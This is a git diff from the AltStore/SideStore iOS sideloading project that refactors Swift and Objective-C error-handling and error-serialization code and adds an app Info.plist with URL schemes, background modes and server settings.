public protocol ALTLocalizedError<Code>: LocalizedError, CustomNSError, CustomStringConvertible
{
associatedtype Code: ALTErrorCode
var code: Code { get }
var errorFailureReason: String { get }
var errorTitle: String? { get set }
var errorFailure: String? { get set }
var sourceFile: String? { get set }
var sourceLine: UInt? { get set }
}
public extension ALTLocalizedError
{
var sourceFile: String? {
get { nil }
set {}
}
var sourceLine: UInt? {
get { nil }
set {}
}
}
public protocol ALTErrorCode: RawRepresentable where RawValue == Int
{
associatedtype Error: ALTLocalizedError where Error.Code == Self
static var errorDomain: String { get } // Optional
}
public protocol ALTErrorEnum: ALTErrorCode
{
associatedtype Error = DefaultLocalizedError<Self>
var errorFailureReason: String { get }
}
/// LocalizedError & CustomNSError & CustomStringConvertible
public extension ALTLocalizedError
{
var errorCode: Int { self.code.rawValue }
var errorDescription: String? {
guard (self as NSError).localizedFailure == nil else {
// Error has localizedFailure, so return nil to construct localizedDescription from it + localizedFailureReason.
return nil
}
// Otherwise, return failureReason for localizedDescription to avoid system prepending "Operation Failed" message.
return self.failureReason
}
var failureReason: String? {
return self.errorFailureReason
}
var errorUserInfo: [String : Any] {
let userInfo: [String: Any?] = [
NSLocalizedFailureErrorKey: self.errorFailure,
ALTLocalizedTitleErrorKey: self.errorTitle,
// ALTSourceFileErrorKey: self.sourceFile, // TODO: Figure out where these come from
// ALTSourceLineErrorKey: self.sourceLine,
]
return userInfo.compactMapValues { $0 }
}
var description: String {
let description = "\(self.localizedErrorCode)\(self.localizedDescription)"
return description
}
}
/// Default Implementations
public extension ALTLocalizedError where Code: ALTErrorEnum
{
static var errorDomain: String {
return Code.errorDomain
}
// ALTErrorEnum Codes provide their failure reason directly.
var errorFailureReason: String {
return self.code.errorFailureReason
}
}
/// Default Implementations
public extension ALTErrorCode
{
static var errorDomain: String {
let typeName = String(reflecting: Self.self) // "\(Self.self)" doesn't include module name, but String(reflecting:) does.
let errorDomain = typeName.replacingOccurrences(of: "ErrorCode", with: "Error")
return errorDomain
}
}
public extension ALTLocalizedError
{
// Allows us to initialize errors with localizedTitle + localizedFailure
// while still using the error's custom initializer at callsite.
init(_ error: Self, localizedTitle: String? = nil, localizedFailure: String? = nil)
{
self = error
if let localizedTitle
{
self.errorTitle = localizedTitle
}
if let localizedFailure
{
self.errorFailure = localizedFailure
}
}
}
public struct DefaultLocalizedError<Code: ALTErrorEnum>: ALTLocalizedError
{
public let code: Code
public var errorTitle: String?
public var errorFailure: String?
public var sourceFile: String?
public var sourceLine: UInt?
public init(_ code: Code, localizedTitle: String? = nil, localizedFailure: String? = nil, sourceFile: String? = #fileID, sourceLine: UInt? = #line)
{
self.code = code
self.errorTitle = localizedTitle
self.errorFailure = localizedFailure
self.sourceFile = sourceFile
self.sourceLine = sourceLine
}
}
/// Custom Operators
/// These allow us to pattern match ALTErrorCodes against arbitrary errors via ~ prefix.
prefix operator ~
public prefix func ~<Code: ALTErrorCode>(expression: Code) -> NSError
{
let nsError = NSError(domain: Code.errorDomain, code: expression.rawValue)
return nsError
}
public func ~=(pattern: any Swift.Error, value: any Swift.Error) -> Bool
{
let isMatch = pattern._domain == value._domain && pattern._code == value._code
return isMatch
}
// These operators *should* allow us to match ALTErrorCodes against arbitrary errors,
// but they don't work as of iOS 16.1 and Swift 5.7.
//
//public func ~=<Error: ALTLocalizedError>(pattern: Error, value: Swift.Error) -> Bool
//{
// let isMatch = pattern._domain == value._domain && pattern._code == value._code
// return isMatch
//}
//
//public func ~=<Code: ALTErrorCode>(pattern: Code, value: Swift.Error) -> Bool
//{
// let isMatch = Code.errorDomain == value._domain && pattern.rawValue == value._code
// return isMatch
//}

View File

@@ -1,25 +0,0 @@
//
// ALTWrappedError.h
// AltStoreCore
//
// Created by Riley Testut on 11/28/22.
// Copyright © 2022 Riley Testut. All rights reserved.
//
#import <Foundation/Foundation.h>
NS_ASSUME_NONNULL_BEGIN
// Overrides localizedDescription to check userInfoValueProvider for failure reason
// instead of default behavior which just returns NSLocalizedFailureErrorKey if present.
//
// Must be written in Objective-C for Swift.Error <-> NSError bridging to work correctly.
@interface ALTWrappedError : NSError
@property (copy, nonatomic) NSError *wrappedError;
- (instancetype)initWithError:(NSError *)error userInfo:(NSDictionary<NSString *, id> *)userInfo;
@end
NS_ASSUME_NONNULL_END

View File

@@ -1,73 +0,0 @@
//
// ALTWrappedError.m
// AltStoreCore
//
// Created by Riley Testut on 11/28/22.
// Copyright © 2022 Riley Testut. All rights reserved.
//
#import "ALTWrappedError.h"
@implementation ALTWrappedError
+ (BOOL)supportsSecureCoding
{
// Required in order to serialize errors for legacy AltServer communication.
return YES;
}
- (instancetype)initWithError:(NSError *)error userInfo:(NSDictionary<NSString *,id> *)userInfo
{
self = [super initWithDomain:error.domain code:error.code userInfo:userInfo];
if (self)
{
if ([error isKindOfClass:[ALTWrappedError class]])
{
_wrappedError = [(ALTWrappedError *)error wrappedError];
}
else
{
_wrappedError = [error copy];
}
}
return self;
}
- (NSString *)localizedDescription
{
NSString *localizedFailure = self.userInfo[NSLocalizedFailureErrorKey];
if (localizedFailure != nil)
{
NSString *wrappedLocalizedDescription = self.wrappedError.userInfo[NSLocalizedDescriptionKey];
NSString *localizedFailureReason = wrappedLocalizedDescription ?: self.wrappedError.localizedFailureReason ?: self.wrappedError.localizedDescription;
NSString *localizedDescription = [NSString stringWithFormat:@"%@ %@", localizedFailure, localizedFailureReason];
return localizedDescription;
}
// localizedFailure is nil, so return wrappedError's localizedDescription.
return self.wrappedError.localizedDescription;
}
- (NSString *)localizedFailureReason
{
return self.wrappedError.localizedFailureReason;
}
- (NSString *)localizedRecoverySuggestion
{
return self.wrappedError.localizedRecoverySuggestion;
}
- (NSString *)debugDescription
{
return self.wrappedError.debugDescription;
}
- (NSString *)helpAnchor
{
return self.wrappedError.helpAnchor;
}
@end

View File

@@ -22,8 +22,12 @@ public extension ALTServerError
case is EncodingError: self = ALTServerError(.invalidResponse, underlyingError: error)
case let error as NSError:
var userInfo = error.userInfo
userInfo[NSUnderlyingErrorKey] = error
if !userInfo.keys.contains(NSUnderlyingErrorKey)
{
// Assign underlying error (if there isn't already one).
userInfo[NSUnderlyingErrorKey] = error
}
self = ALTServerError(.underlyingError, userInfo: userInfo)
}
}

View File

@@ -8,17 +8,7 @@
import Foundation
#if canImport(UIKit)
import UIKit
public typealias ALTFont = UIFont
#elseif canImport(AppKit)
import AppKit
public typealias ALTFont = NSFont
#endif
import AltSign
public extension NSError
extension NSError
{
@objc(alt_localizedFailure)
var localizedFailure: String? {
@@ -31,52 +21,52 @@ public extension NSError
let debugDescription = (self.userInfo[NSDebugDescriptionErrorKey] as? String) ?? (NSError.userInfoValueProvider(forDomain: self.domain)?(self, NSDebugDescriptionErrorKey) as? String)
return debugDescription
}
@objc(alt_localizedTitle)
var localizedTitle: String? {
return self.userInfo[ALTLocalizedTitleErrorKey] as? String
}
@objc(alt_errorWithLocalizedFailure:)
func withLocalizedFailure(_ failure: String) -> NSError
{
switch self
var userInfo = self.userInfo
userInfo[NSLocalizedFailureErrorKey] = failure
if let failureReason = self.localizedFailureReason
{
case var error as any ALTLocalizedError:
error.errorFailure = failure
return error as NSError
default:
var userInfo = self.userInfo
userInfo[NSLocalizedFailureReasonErrorKey] = failure
return ALTWrappedError(error: self, userInfo: userInfo)
userInfo[NSLocalizedFailureReasonErrorKey] = failureReason
}
}
@objc(alt_errorWithLocalizedTitle:)
func withLocalizedTitle(_ title: String) -> NSError {
switch self
else if self.localizedFailure == nil && self.localizedFailureReason == nil && self.localizedDescription.contains(self.localizedErrorCode)
{
case var error as any ALTLocalizedError:
error.errorTitle = title
return error as NSError
default:
var userInfo = self.userInfo
userInfo[ALTLocalizedTitleErrorKey] = title
return ALTWrappedError(error: self, userInfo: userInfo)
// Default localizedDescription, so replace with just the localized error code portion.
userInfo[NSLocalizedFailureReasonErrorKey] = "(\(self.localizedErrorCode).)"
}
else
{
userInfo[NSLocalizedFailureReasonErrorKey] = self.localizedDescription
}
if let localizedDescription = NSError.userInfoValueProvider(forDomain: self.domain)?(self, NSLocalizedDescriptionKey) as? String
{
userInfo[NSLocalizedDescriptionKey] = localizedDescription
}
// Don't accidentally remove localizedDescription from dictionary
// userInfo[NSLocalizedDescriptionKey] = NSError.userInfoValueProvider(forDomain: self.domain)?(self, NSLocalizedDescriptionKey) as? String
if let recoverySuggestion = self.localizedRecoverySuggestion
{
userInfo[NSLocalizedRecoverySuggestionErrorKey] = recoverySuggestion
}
let error = NSError(domain: self.domain, code: self.code, userInfo: userInfo)
return error
}
func sanitizedForSerialization() -> NSError
func sanitizedForCoreData() -> NSError
{
var userInfo = self.userInfo
userInfo[NSLocalizedFailureErrorKey] = self.localizedFailure
userInfo[NSLocalizedDescriptionKey] = self.localizedDescription
userInfo[NSLocalizedFailureReasonErrorKey] = self.localizedFailureReason
userInfo[NSLocalizedRecoverySuggestionErrorKey] = self.localizedRecoverySuggestion
userInfo[NSDebugDescriptionErrorKey] = self.localizedDebugDescription
// Remove userInfo values that don't conform to NSSecureEncoding.
userInfo = userInfo.filter { (key, value) in
return (value as AnyObject) is NSSecureCoding
@@ -85,165 +75,69 @@ public extension NSError
// Sanitize underlying errors.
if let underlyingError = userInfo[NSUnderlyingErrorKey] as? Error
{
let sanitizedError = (underlyingError as NSError).sanitizedForSerialization()
let sanitizedError = (underlyingError as NSError).sanitizedForCoreData()
userInfo[NSUnderlyingErrorKey] = sanitizedError
}
if #available(iOS 14.5, macOS 11.3, *), let underlyingErrors = userInfo[NSMultipleUnderlyingErrorsKey] as? [Error]
{
let sanitizedErrors = underlyingErrors.map { ($0 as NSError).sanitizedForSerialization() }
let sanitizedErrors = underlyingErrors.map { ($0 as NSError).sanitizedForCoreData() }
userInfo[NSMultipleUnderlyingErrorsKey] = sanitizedErrors
}
let error = NSError(domain: self.domain, code: self.code, userInfo: userInfo)
return error
}
func formattedDetailedDescription(with font: ALTFont) -> NSAttributedString {
#if canImport(UIKit)
let boldFontDescriptor = font.fontDescriptor.withSymbolicTraits(.traitBold) ?? font.fontDescriptor
#else
let boldFontDescriptor = font.fontDescriptor.withSymbolicTraits(.bold)
#endif
let boldFont = ALTFont(descriptor: boldFontDescriptor, size: font.pointSize) ?? font
var preferredKeyOrder = [
NSDebugDescriptionErrorKey,
NSLocalizedDescriptionKey,
NSLocalizedFailureErrorKey,
NSLocalizedFailureReasonErrorKey,
NSLocalizedRecoverySuggestionErrorKey,
ALTLocalizedTitleErrorKey,
// ALTSourceFileErrorKey,
// ALTSourceLineErrorKey,
NSUnderlyingErrorKey
]
if #available(iOS 14.5, macOS 11.3, *) {
preferredKeyOrder.append(NSMultipleUnderlyingErrorsKey)
}
var userInfo = self.userInfo
userInfo[NSDebugDescriptionErrorKey] = self.localizedDebugDescription
userInfo[NSLocalizedFailureErrorKey] = self.localizedFailure
userInfo[NSLocalizedFailureReasonErrorKey] = self.localizedFailureReason
userInfo[NSLocalizedRecoverySuggestionErrorKey] = self.localizedRecoverySuggestion
let sortedUserInfo = userInfo.sorted { a, b in
let indexA = preferredKeyOrder.firstIndex(of: a.key)
let indexB = preferredKeyOrder.firstIndex(of: b.key)
switch (indexA, indexB) {
case (let indexA?, let indexB?): return indexA < indexB
case (_?, nil): return true // indexA exists, indexB is nil, indexA should come first
case (nil, _?): return false // indexB exists, indexB is nil, indexB should come first
case (nil, nil): return a.key < b.key // both nil, so sort alphabetically
}
}
let detailedDescription = NSMutableAttributedString()
for (key, value) in sortedUserInfo
{
let keyName: String
switch key
{
case NSDebugDescriptionErrorKey: keyName = NSLocalizedString("Debug Description", comment: "")
case NSLocalizedDescriptionKey: keyName = NSLocalizedString("Error Description", comment: "")
case NSLocalizedFailureErrorKey: keyName = NSLocalizedString("Failure", comment: "")
case NSLocalizedFailureReasonErrorKey: keyName = NSLocalizedString("Failure Reason", comment: "")
case NSLocalizedRecoverySuggestionErrorKey: keyName = NSLocalizedString("Recovery Suggestion", comment: "")
case ALTLocalizedTitleErrorKey: keyName = NSLocalizedString("Title", comment: "")
// case ALTSourceFileErrorKey: keyName = NSLocalizedString("Source File", comment: "")
// case ALTSourceLineErrorKey: keyName = NSLocalizedString("Source Line", comment: "")
case NSUnderlyingErrorKey: keyName = NSLocalizedString("Underlying Error", comment: "")
default:
if #available(iOS 14.5, macOS 11.3, *), key == NSMultipleUnderlyingErrorsKey
{
keyName = NSLocalizedString("Underlying Errors", comment: "")
}
else
{
keyName = key
}
}
let attributedKey = NSAttributedString(string: keyName, attributes: [.font: boldFont])
let attributedValue = NSAttributedString(string: String(describing: value), attributes: [.font: font])
let attributedString = NSMutableAttributedString(attributedString: attributedKey)
attributedString.mutableString.append("\n")
attributedString.append(attributedValue)
if !detailedDescription.string.isEmpty
{
detailedDescription.mutableString.append("\n\n")
}
detailedDescription.append(attributedString)
}
// Support dark mode
#if canImport(UIKit)
if #available(iOS 13, *)
{
detailedDescription.addAttribute(.foregroundColor, value: UIColor.label, range: NSMakeRange(0, detailedDescription.length))
}
#else
detailedDescription.addAttribute(.foregroundColor, value: NSColor.labelColor, range: NSMakeRange(0, detailedDescription.length))
#endif
return detailedDescription
}
}
public extension NSError
{
typealias UserInfoProvider = (Error, String) -> Any?
@objc
class func alt_setUserInfoValueProvider(forDomain domain: String, provider: UserInfoProvider?) {
NSError.setUserInfoValueProvider(forDomain: domain) { error, key in
let nsError = error as NSError
switch key{
case NSLocalizedDescriptionKey:
if nsError.localizedFailure != nil {
// Error has localizedFailure, so return nil to construct localizedDescription from it + localizedFailureReason
return nil
} else if let localizedDescription = provider?(error, NSLocalizedDescriptionKey) as? String {
// Only call provider() if there is no localizedFailure
return localizedDescription
}
/* Otherwise return failureReason for localizedDescription to avoid system prepending "Operation Failed" message
Do NOT return provider(NSLocalizedFailureReason) which might be unexpectedly nil if unrecognized error code. */
return nsError.localizedFailureReason
default:
return provider?(error, key)
}
}
}
}
public extension Error
extension Error
{
var underlyingError: Error? {
return (self as NSError).userInfo[NSUnderlyingErrorKey] as? Error
let underlyingError = (self as NSError).userInfo[NSUnderlyingErrorKey] as? Error
return underlyingError
}
var localizedErrorCode: String {
return String(format: NSLocalizedString("%@ %@", comment: ""), (self as NSError).domain, self.displayCode as NSNumber)
}
var displayCode: Int {
guard let serverError = self as? ALTServerError else {
return (self as NSError).code
}
/* We want AltServerError codes to start at 2000, but we can't change them without breaking AltServer compatibility.
Instead we just add 2000 when displaying code to the user to make it appear as if the codes start at 2000 anyway.
*/
return 2000 + serverError.code.rawValue
let localizedErrorCode = String(format: NSLocalizedString("%@ error %@", comment: ""), (self as NSError).domain, (self as NSError).code as NSNumber)
return localizedErrorCode
}
}
protocol ALTLocalizedError: LocalizedError, CustomNSError
{
var failure: String? { get }
var underlyingError: Error? { get }
}
extension ALTLocalizedError
{
var errorUserInfo: [String : Any] {
let userInfo = ([
NSLocalizedDescriptionKey: self.errorDescription,
NSLocalizedFailureReasonErrorKey: self.failureReason,
NSLocalizedFailureErrorKey: self.failure,
NSUnderlyingErrorKey: self.underlyingError
] as [String: Any?]).compactMapValues { $0 }
return userInfo
}
var underlyingError: Error? {
// Error's default implementation calls errorUserInfo,
// but ALTLocalizedError.errorUserInfo calls underlyingError.
// Return nil to prevent infinite recursion.
return nil
}
var errorDescription: String? {
guard let errorFailure = self.failure else { return (self.underlyingError as NSError?)?.localizedDescription }
guard let failureReason = self.failureReason else { return errorFailure }
let errorDescription = errorFailure + " " + failureReason
return errorDescription
}
var failureReason: String? { (self.underlyingError as NSError?)?.localizedDescription }
var recoverySuggestion: String? { (self.underlyingError as NSError?)?.localizedRecoverySuggestion }
var helpAnchor: String? { (self.underlyingError as NSError?)?.helpAnchor }
}

View File

@@ -1,249 +0,0 @@
//
// CodableError.swift
// AltKit
//
// Created by Riley Testut on 3/5/20.
// Copyright © 2020 Riley Testut. All rights reserved.
//
import Foundation
// Can only automatically conform ALTServerError.Code to Codable, not ALTServerError itself
extension ALTServerError.Code: Codable {}
private extension ErrorUserInfoKey
{
static let altLocalizedDescription: String = "ALTLocalizedDescription"
static let altLocalizedFailureReason: String = "ALTLocalizedFailureReason"
static let altLocalizedRecoverySuggestion: String = "ALTLocalizedRecoverySuggestion"
static let altDebugDescription: String = "ALTDebugDescription"
}
extension CodableError
{
enum UserInfoValue: Codable
{
case unknown
case string(String)
case number(Int)
case error(NSError)
case codableError(CodableError)
indirect case array([UserInfoValue])
indirect case dictionary([String: UserInfoValue])
var value: Any? {
switch self
{
case .unknown: return nil
case .string(let string): return string
case .number(let number): return number
case .error(let error): return error
case .codableError(let error): return error.error
case .array(let array): return array.compactMap { $0.value } // .compactMap instead of .map to ensure nil values are removed.
case .dictionary(let dictionary): return dictionary.compactMapValues { $0.value } // .compactMapValues instead of .mapValues to ensure nil values are removed.
}
}
var codableValue: Codable? {
switch self
{
case .unknown, .string, .number: return self.value as? Codable
case .codableError(let error): return error
case .error(let nsError):
// Ignore error because we don't want to fail completely if error contains invalid user info value.
let sanitizedError = nsError.sanitizedForSerialization()
let data = try? NSKeyedArchiver.archivedData(withRootObject: sanitizedError, requiringSecureCoding: true)
return data
case .array(let array): return array
case .dictionary(let dictionary): return dictionary
}
}
init(_ rawValue: Any?)
{
switch rawValue
{
case let string as String: self = .string(string)
case let number as Int: self = .number(number)
case let error as NSError: self = .codableError(CodableError(error: error))
case let array as [Any]: self = .array(array.compactMap(UserInfoValue.init))
case let dictionary as [String: Any]: self = .dictionary(dictionary.compactMapValues(UserInfoValue.init))
default: self = .unknown
}
}
init(from decoder: Decoder) throws
{
let container = try decoder.singleValueContainer()
if
let data = try? container.decode(Data.self),
let error = try? NSKeyedUnarchiver.unarchivedObject(ofClass: NSError.self, from: data)
{
self = .error(error)
}
else if let codableError = try? container.decode(CodableError.self)
{
self = .codableError(codableError)
}
else if let string = try? container.decode(String.self)
{
self = .string(string)
}
else if let number = try? container.decode(Int.self)
{
self = .number(number)
}
else if let array = try? container.decode([UserInfoValue].self)
{
self = .array(array)
}
else if let dictionary = try? container.decode([String: UserInfoValue].self)
{
self = .dictionary(dictionary)
}
else
{
self = .unknown
}
}
func encode(to encoder: Encoder) throws
{
var container = encoder.singleValueContainer()
if let value = self.codableValue
{
try container.encode(value)
}
else
{
try container.encodeNil()
}
}
}
}
struct CodableError: Codable
{
var error: Error {
return self.rawError ?? NSError(domain: self.errorDomain, code: self.errorCode, userInfo: self.userInfo ?? [:])
}
private var rawError: Error?
private var errorDomain: String
private var errorCode: Int
private var userInfo: [String: Any]?
private enum CodingKeys: String, CodingKey
{
case errorDomain
case errorCode
case legacyUserInfo = "userInfo"
case errorUserInfo
}
init(error: Error)
{
self.rawError = error
let nsError = error as NSError
self.errorDomain = nsError.domain
self.errorCode = nsError.code
if !nsError.userInfo.isEmpty
{
self.userInfo = nsError.userInfo
}
}
init(from decoder: Decoder) throws
{
let container = try decoder.container(keyedBy: CodingKeys.self)
// Assume ALTServerError.errorDomain if no explicit domain provided.
self.errorDomain = try container.decodeIfPresent(String.self, forKey: .errorDomain) ?? ALTServerError.errorDomain
self.errorCode = try container.decode(Int.self, forKey: .errorCode)
if let rawUserInfo = try container.decodeIfPresent([String: UserInfoValue].self, forKey: .errorUserInfo)
{
// Attempt decoding from .errorUserInfo first, because it will gracefully handle unknown user info values.
// Copy ALTLocalized... values to NSLocalized... if provider is nil or if error is unrecognized.
// This ensures we preserve error messages if receiving an unknown error.
var userInfo = rawUserInfo.compactMapValues { $0.value }
// Recognized == the provider returns value for NSLocalizedFailureReasonErrorKey, or error is ALTServerError.underlyingError.
let provider = NSError.userInfoValueProvider(forDomain: self.errorDomain)
let isRecognizedError = (
provider?(self.error, NSLocalizedFailureReasonErrorKey) != nil ||
(self.error._domain == ALTServerError.errorDomain && self.error._code == ALTServerError.underlyingError.rawValue)
)
if !isRecognizedError
{
// Error not recognized, so copy over NSLocalizedDescriptionKey and NSLocalizedFailureReasonErrorKey.
userInfo[NSLocalizedDescriptionKey] = userInfo[ErrorUserInfoKey.altLocalizedDescription]
userInfo[NSLocalizedFailureReasonErrorKey] = userInfo[ErrorUserInfoKey.altLocalizedFailureReason]
}
// Copy over NSLocalizedRecoverySuggestionErrorKey and NSDebugDescriptionErrorKey if provider returns nil.
if provider?(self.error, NSLocalizedRecoverySuggestionErrorKey) == nil
{
userInfo[NSLocalizedRecoverySuggestionErrorKey] = userInfo[ErrorUserInfoKey.altLocalizedRecoverySuggestion]
}
if provider?(self.error, NSDebugDescriptionErrorKey) == nil
{
userInfo[NSDebugDescriptionErrorKey] = userInfo[ErrorUserInfoKey.altDebugDescription]
}
userInfo[ErrorUserInfoKey.altLocalizedDescription] = nil
userInfo[ErrorUserInfoKey.altLocalizedFailureReason] = nil
userInfo[ErrorUserInfoKey.altLocalizedRecoverySuggestion] = nil
userInfo[ErrorUserInfoKey.altDebugDescription] = nil
self.userInfo = userInfo
}
else if let rawUserInfo = try container.decodeIfPresent([String: UserInfoValue].self, forKey: .legacyUserInfo)
{
// Fall back to decoding .legacyUserInfo, which only supports String and NSError values.
let userInfo = rawUserInfo.compactMapValues { $0.value }
self.userInfo = userInfo
}
}
func encode(to encoder: Encoder) throws
{
var container = encoder.container(keyedBy: CodingKeys.self)
try container.encode(self.errorDomain, forKey: .errorDomain)
try container.encode(self.errorCode, forKey: .errorCode)
let rawLegacyUserInfo = self.userInfo?.compactMapValues { (value) -> UserInfoValue? in
// .legacyUserInfo only supports String and NSError values.
switch value
{
case let string as String: return .string(string)
case let error as NSError: return .error(error) // Must use .error, not .codableError for backwards compatibility.
default: return nil
}
}
try container.encodeIfPresent(rawLegacyUserInfo, forKey: .legacyUserInfo)
let nsError = self.error as NSError
var userInfo = self.userInfo ?? [:]
userInfo[ErrorUserInfoKey.altLocalizedDescription] = nsError.localizedDescription
userInfo[ErrorUserInfoKey.altLocalizedFailureReason] = nsError.localizedFailureReason
userInfo[ErrorUserInfoKey.altLocalizedRecoverySuggestion] = nsError.localizedRecoverySuggestion
userInfo[ErrorUserInfoKey.altDebugDescription] = nsError.localizedDebugDescription
// No need to use alternate key. This is a no-op if userInfo already contains localizedFailure,
// but it caches the UserInfoProvider value if one exists.
userInfo[NSLocalizedFailureErrorKey] = nsError.localizedFailure
let rawUserInfo = userInfo.compactMapValues { UserInfoValue($0) }
try container.encodeIfPresent(rawUserInfo, forKey: .errorUserInfo)
}
}

View File

@@ -0,0 +1,126 @@
//
// CodableServerError.swift
// AltKit
//
// Created by Riley Testut on 3/5/20.
// Copyright © 2020 Riley Testut. All rights reserved.
//
import Foundation
// Can only automatically conform ALTServerError.Code to Codable, not ALTServerError itself
extension ALTServerError.Code: Codable {}
extension CodableServerError
{
enum UserInfoValue: Codable
{
case string(String)
case error(NSError)
public init(from decoder: Decoder) throws
{
let container = try decoder.singleValueContainer()
if
let data = try? container.decode(Data.self),
let error = try? NSKeyedUnarchiver.unarchivedObject(ofClass: NSError.self, from: data)
{
self = .error(error)
}
else if let string = try? container.decode(String.self)
{
self = .string(string)
}
else
{
throw DecodingError.dataCorruptedError(in: container, debugDescription: "UserInfoValue value cannot be decoded")
}
}
func encode(to encoder: Encoder) throws
{
var container = encoder.singleValueContainer()
switch self
{
case .string(let string): try container.encode(string)
case .error(let error):
guard let data = try? NSKeyedArchiver.archivedData(withRootObject: error, requiringSecureCoding: true) else {
let context = EncodingError.Context(codingPath: container.codingPath, debugDescription: "UserInfoValue value \(self) cannot be encoded")
throw EncodingError.invalidValue(self, context)
}
try container.encode(data)
}
}
}
}
struct CodableServerError: Codable
{
var error: ALTServerError {
return ALTServerError(self.errorCode, userInfo: self.userInfo ?? [:])
}
private var errorCode: ALTServerError.Code
private var userInfo: [String: Any]?
private enum CodingKeys: String, CodingKey
{
case errorCode
case userInfo
}
init(error: ALTServerError)
{
self.errorCode = error.code
var userInfo = error.userInfo
if let localizedRecoverySuggestion = (error as NSError).localizedRecoverySuggestion
{
userInfo[NSLocalizedRecoverySuggestionErrorKey] = localizedRecoverySuggestion
}
if !userInfo.isEmpty
{
self.userInfo = userInfo
}
}
init(from decoder: Decoder) throws
{
let container = try decoder.container(keyedBy: CodingKeys.self)
let errorCode = try container.decode(Int.self, forKey: .errorCode)
self.errorCode = ALTServerError.Code(rawValue: errorCode) ?? .unknown
let rawUserInfo = try container.decodeIfPresent([String: UserInfoValue].self, forKey: .userInfo)
let userInfo = rawUserInfo?.mapValues { (value) -> Any in
switch value
{
case .string(let string): return string
case .error(let error): return error
}
}
self.userInfo = userInfo
}
func encode(to encoder: Encoder) throws
{
var container = encoder.container(keyedBy: CodingKeys.self)
try container.encode(self.error.code.rawValue, forKey: .errorCode)
let rawUserInfo = self.userInfo?.compactMapValues { (value) -> UserInfoValue? in
switch value
{
case let string as String: return .string(string)
case let error as NSError: return .error(error)
default: return nil
}
}
try container.encodeIfPresent(rawUserInfo, forKey: .userInfo)
}
}

View File

@@ -197,20 +197,20 @@ public enum ServerResponse: Decodable
// from easily changing response format for a request in the future.
public struct ErrorResponse: ServerMessageProtocol
{
public var version = 3
public var version = 2
public var identifier = "ErrorResponse"
public var error: ALTServerError {
return self.serverError.map { ALTServerError($0.error) } ?? ALTServerError(self.errorCode)
return self.serverError?.error ?? ALTServerError(self.errorCode)
}
private var serverError: CodableError?
private var serverError: CodableServerError?
// Legacy (v1)
private var errorCode: ALTServerError.Code
public init(error: ALTServerError)
{
self.serverError = CodableError(error: error)
self.serverError = CodableServerError(error: error)
self.errorCode = error.code
}
}

212
SideStore copy-Info.plist Normal file
View File

@@ -0,0 +1,212 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>ALTAnisetteURL</key>
<string>https://ani.sidestore.io</string>
<key>ALTAppGroups</key>
<array>
<string>group.$(APP_GROUP_IDENTIFIER)</string>
<string>group.com.SideStore.SideStore</string>
</array>
<key>ALTDeviceID</key>
<string>00008101-000129D63698001E</string>
<key>ALTPairingFile</key>
<string>&lt;insert pairing file here&gt;</string>
<key>ALTServerID</key>
<string>1F7D5B55-79CE-4546-A029-D4DDC4AF3B6D</string>
<key>CFBundleDevelopmentRegion</key>
<string>$(DEVELOPMENT_LANGUAGE)</string>
<key>CFBundleDocumentTypes</key>
<array>
<dict>
<key>CFBundleTypeIconFiles</key>
<array/>
<key>CFBundleTypeName</key>
<string>iOS App</string>
<key>CFBundleTypeRole</key>
<string>Viewer</string>
<key>LSHandlerRank</key>
<string>Alternate</string>
<key>LSItemContentTypes</key>
<array>
<string>com.apple.itunes.ipa</string>
</array>
</dict>
</array>
<key>CFBundleExecutable</key>
<string>$(EXECUTABLE_NAME)</string>
<key>CFBundleIdentifier</key>
<string>$(PRODUCT_BUNDLE_IDENTIFIER)</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundleName</key>
<string>$(PRODUCT_NAME)</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleShortVersionString</key>
<string>$(MARKETING_VERSION)</string>
<key>CFBundleURLTypes</key>
<array>
<dict>
<key>CFBundleTypeRole</key>
<string>Editor</string>
<key>CFBundleURLName</key>
<string>AltStore General</string>
<key>CFBundleURLSchemes</key>
<array>
<string>altstore</string>
<string>sidestore</string>
</array>
</dict>
<dict>
<key>CFBundleTypeRole</key>
<string>Editor</string>
<key>CFBundleURLName</key>
<string>AltStore Backup</string>
<key>CFBundleURLSchemes</key>
<array>
<string>altstore-com.rileytestut.AltStore</string>
<string>sidestore-com.SideStore.SideStore</string>
</array>
</dict>
</array>
<key>CFBundleVersion</key>
<string>1</string>
<key>INIntentsSupported</key>
<array>
<string>RefreshAllIntent</string>
<string>ViewAppIntent</string>
</array>
<key>LSApplicationQueriesSchemes</key>
<array>
<string>altstore-com.rileytestut.AltStore</string>
<string>altstore-com.rileytestut.AltStore.Beta</string>
<string>altstore-com.rileytestut.Delta</string>
<string>altstore-com.rileytestut.Delta.Beta</string>
<string>altstore-com.rileytestut.Delta.Lite</string>
<string>altstore-com.rileytestut.Delta.Lite.Beta</string>
<string>altstore-com.rileytestut.Clip</string>
<string>altstore-com.rileytestut.Clip.Beta</string>
</array>
<key>LSRequiresIPhoneOS</key>
<true/>
<key>LSSupportsOpeningDocumentsInPlace</key>
<true/>
<key>NSAppTransportSecurity</key>
<dict>
<key>NSAllowsArbitraryLoads</key>
<true/>
</dict>
<key>NSAppleMusicUsageDescription</key>
<string>SideStore needs this for MacDirtyCow</string>
<key>NSBonjourServices</key>
<array>
<string>_altserver._tcp</string>
</array>
<key>NSLocalNetworkUsageDescription</key>
<string>SideStore uses the local network to find and communicate with your device.</string>
<key>NSUserActivityTypes</key>
<array>
<string>RefreshAllIntent</string>
<string>ViewAppIntent</string>
</array>
<key>UIApplicationSceneManifest</key>
<dict>
<key>UIApplicationSupportsMultipleScenes</key>
<true/>
<key>UISceneConfigurations</key>
<dict>
<key>UIWindowSceneSessionRoleApplication</key>
<array>
<dict>
<key>UILaunchStoryboardName</key>
<string>LaunchScreen</string>
<key>UISceneConfigurationName</key>
<string>Default Configuration</string>
<key>UISceneDelegateClassName</key>
<string>$(PRODUCT_MODULE_NAME).SceneDelegate</string>
<key>UISceneStoryboardFile</key>
<string>Main</string>
</dict>
</array>
</dict>
</dict>
<key>UIBackgroundModes</key>
<array>
<string>audio</string>
<string>fetch</string>
<string>remote-notification</string>
</array>
<key>UIFileSharingEnabled</key>
<true/>
<key>UILaunchStoryboardName</key>
<string>LaunchScreen</string>
<key>UIMainStoryboardFile</key>
<string>Main</string>
<key>UIRequiredDeviceCapabilities</key>
<array>
<string>armv7</string>
</array>
